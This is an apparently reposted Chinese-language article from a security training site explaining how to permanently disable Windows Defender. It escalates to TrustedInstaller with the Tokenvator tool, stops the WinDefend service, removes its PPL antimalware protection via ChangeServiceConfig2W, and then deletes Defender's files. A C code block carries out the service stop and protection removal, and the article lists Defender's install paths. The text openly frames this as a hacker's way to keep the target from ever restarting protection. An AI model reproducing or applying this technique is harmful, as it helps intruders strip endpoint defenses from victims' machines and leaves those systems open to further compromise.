当前位置:网站首页 > 网络安全培训 > 正文

绕过ppl保护关闭Windows Defender【文末赠书】

freebuffreebuf 2022-04-27 325 0

本文来源:

描述

可以关闭Windows Defender服务并通过提升权限删除ppl保护,然后删除Windows Defender中的DLL和其他文件,使Windows Defender服务无法运行,从而导致Windows Defender拒绝服务。

攻击步骤

1.将权限升级到trustedinstaller

我们使用受信任的安装程序组令牌自动窃取系统令牌,以提升到受信任的安装程序权限,

在这里,我们使用一个开源工具来利用它:


https://github.com/0xbadjuju/Tokenvator. 

提权到TrustedInstaller并使用这个权限打开一个新的CMD.exe

同时这个cmd.exe也拥有TrustedInstaller权限。

2.关闭Windows Defender服务

这个其实并不是漏洞,因为我们的administrator权限也可以直接临时关闭Windows Defender服务。

但是这样关闭Windows Defender服务可以手工打开和重启会自动打开,我们想要的是永远关闭Windows Defender服务,在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender服务,当然重装系统除外。哈哈哈....

3.移除 PsProtectSignerAntimalware-Light 保护

关于“保护”的快速背景:

保护进程首先出现在 windows vista 中,作为对关键 windows 用户模式服务的增强,后来在 windows 8.1 中演变为保护进程 (PPL).一般来说可执行文件必须使用特殊证书进行签名,然后才有可能使用保护进程 (PPL)。

在微软文档中我们可以知道:


https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w 

只要我们对服务对象有足够的访问权限,就可以更改服务保护。也就是说我们可以关闭Windows Defender服务的PPL。经过我们测试知道服务 ACL 根本不允许 SYSTEM 用户和管理员组修改或停止 Windows Defender 服务。但它允许 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服务的ppl,那么上面我们拥有了完整的TrustedInstaller权限。

那么我们可以禁用Windows Defender 服务的PsProtectSignerAntimalware-Light,然后可以修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

Windows Defender的文件保存路径为:


C:\Program Files\Windows Defender C:\Program Files\Windows Defender Advanced Threat Protection C:\Program Files (x86)\Windows Defender 

在有PPL的情况下我们无法对这些文件进行任何修改。

同样在TrustedInstaller权限中也无法进行修改等等操作。

那么我们可以使用TrustedInstaller权限通过ChangeServiceConfig2W来停止PsProtectSignerAntimalware-Light 保护,然后修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。


SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服务控制管理器的连接   SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);   //打开一个已经存在的服务 打开wdf的服务   if (windefend_svc == NULL) {     printf("[-] Failed to open WinDefend service.");     return 1;   }   printf("Done.");   SERVICE_STATUS svc_status;   if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) {     //停止WDF服务     printf("[-] Failed to stop WinDefend service :(");     return 1;   }   printf("[+] Successfully sent service stop control.");   SERVICE_LAUNCH_PROTECTED_INFO info;   DWORD ret_sz = 0;   QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz);   //检索WDF服务的可选配置参数。   if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE)     goto WaitDefender;   info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE;   if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) {     printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :(");     return 1;   }   printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service."); WaitDefender:   printf("[*] Waiting WinDefend to stop .!");   WaitForSingleObject(hwindefend, INFINITE);   CloseHandle(hwindefend);   printf("[!] Attempting to unload WdFilter.sys ... "); 

然后修改修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

以上技术文案转载于黑白天实验室。

转载请注明来自网盾网络安全培训,本文标题:《绕过ppl保护关闭Windows Defender【文末赠书】》

标签:pplprintfwindows系统

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表